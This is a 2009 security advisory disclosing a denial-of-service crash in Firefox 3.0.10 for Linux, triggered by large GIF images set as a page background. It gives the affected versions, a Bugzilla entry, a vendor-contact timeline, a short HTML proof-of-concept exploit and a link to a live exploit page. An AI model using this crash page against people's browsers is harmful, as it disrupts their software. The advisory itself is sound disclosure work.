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[ECHO_ADV_110$2009] Firefox (GNU/Linux version) <= 3.0.10 Denial Of Services
From: y3dips () echo or id
Date: Tue, 9 Jun 2009 21:18:43 -0600

____________________   ___ ___ ________
\_   _____/\_   ___ \ /   |   \\_____  \
 |    __)_ /    \  \//    ~    \/   |   \
 |        \\     \___\    Y    /    |    \
/_______  / \______  /\___|_  /\_______  /
        \/         \/       \/         \/                              .OR.ID
ECHO_ADV_110$2009

--------------------------------------------------------------------------------
[ECHO_ADV_110$2009] Firefox (GNU/Linux version) <= 3.0.10 Denial Of Services 
--------------------------------------------------------------------------------

Author          : Ahmad Muammar W.K (a.k.a) y3dips
Date Found      : June, 4th 2009
Location        : Indonesia, Jakarta
web             : http://e-rdc.org/v1/news.php?readmore=137
Critical Lvl    : Moderated
Impact          : Browser will automatically shutdown
Where           : From Remote
Disclosure Policy: Full Disclosure Policy (RFPolicy) v2.0
                  http://www.wiretrip.net/rfp/policy.html
--------------------------------------------------------------------------------

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Firefox is a popular Internet browser from the Mozilla Corporation. 

Application     : Firefox for GNU/linux
version         : Firefox/3.0.10 (X11; Linux i686; U; en)
                  Also affected for lower version (tested for version 3.0.8 at
                  Ubuntu 9.0.4)
                        
URL             : http://firefox.com
Bugzilla entry  : https://bugzilla.mozilla.org/show_bug.cgi?id=496265

Description     :

Firefox 3.0.10 (previous version) for GNU/Linux Operating systems are unable to 
handle big size of GIF images rendering when it becomes a body backgrounds. 
Just use a random size GIF files will crash firefox because of HTML body tag.

--------------------------------------------------------------------------------

Exploit Code:
~~~~~~~~~~~~~~~~

<!-- Firefox 3.0.10 DOS exploit, discovered by 
     Ahmad Muammar W.K (y3dips[at]echo[dot]or[dot]id) 
     http://y3dips.echo.or.id
//-->

<html>

<head>

<title>Firefox Exploit</title>

<body background="exploit.gif">

</body>

</html>


live exploit :

http://y3dips.echo.or.id/tempe/ff310expl/

--------------------------------------------------------------------------------

Timeline:
~~~~~~~~~

- 20 - 05 - 2009 bug found
- 04 - 06 - 2009 vendor contacted and adding entry to bugzilla
- 04 - 06 - 2009 vendor response, and there`s a potential patch
- 09 - 06 - 2009 advisory release

--------------------------------------------------------------------------------
Shoutz:
~~~~~~~

~ my family (ana my wife and ali my son)

~ the_day, K-159, negative, hero, az001, rey, and also all echo staff
~ janex vind "waraxe", str0ke, chopstick
~ newbie_hacker[at]yahoogroups.com
~ #e-c-h-o @irc.dal.net

--------------------------------------------------------------------------------
Contact:
~~~~~~~~

     y3dips || echo|staff || y3dips[at]echo[dot]or[dot]id
     Homepage: http://y3dips.echo.or.id/

-------------------------------- [ EOF ] ---------------------------------------


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